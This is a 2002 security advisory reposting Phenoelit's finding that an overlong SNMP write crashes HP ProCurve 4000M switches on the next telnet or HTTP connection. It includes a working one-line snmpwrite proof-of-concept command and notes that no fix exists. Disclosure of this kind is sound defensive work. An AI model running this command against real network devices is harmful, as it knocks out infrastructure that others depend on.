29th Jul 2002 [SBWID-5570]
COMMAND
Hewlett Packard (HP) Procurve Switch remote crash via snmp and
http/telnet
SYSTEMS AFFECTED
Tested on HP J4121A ProCurve Switch 4000M revision C.07.23, ROM C.06.01
PROBLEM
In FX [fx@phenoelit.de], Zet [zet@darklab.org] and kim0
[kim0@phenoelit.de] of Phenoelit Group [http://www.phenoelit.de]
advisroy [http://www.phenoelit.de/stuff/HP_ProCurve.txt] :
SNMP variable accessible by SNMP WRITE with 85 characters crashes the
ProCurve Switch upon next connect to the TELNET or HTTP Port
.iso.3.6.1.4.1.11.2.36.1.1.2.1.0
[ Example ]
linux# snmpwrite <switch_ip> private .iso.3.6.1.4.1.11.2.36.1.1.2.1.0 \
s `perl -e 'print "A"x85;'`
SOLUTION
None yet
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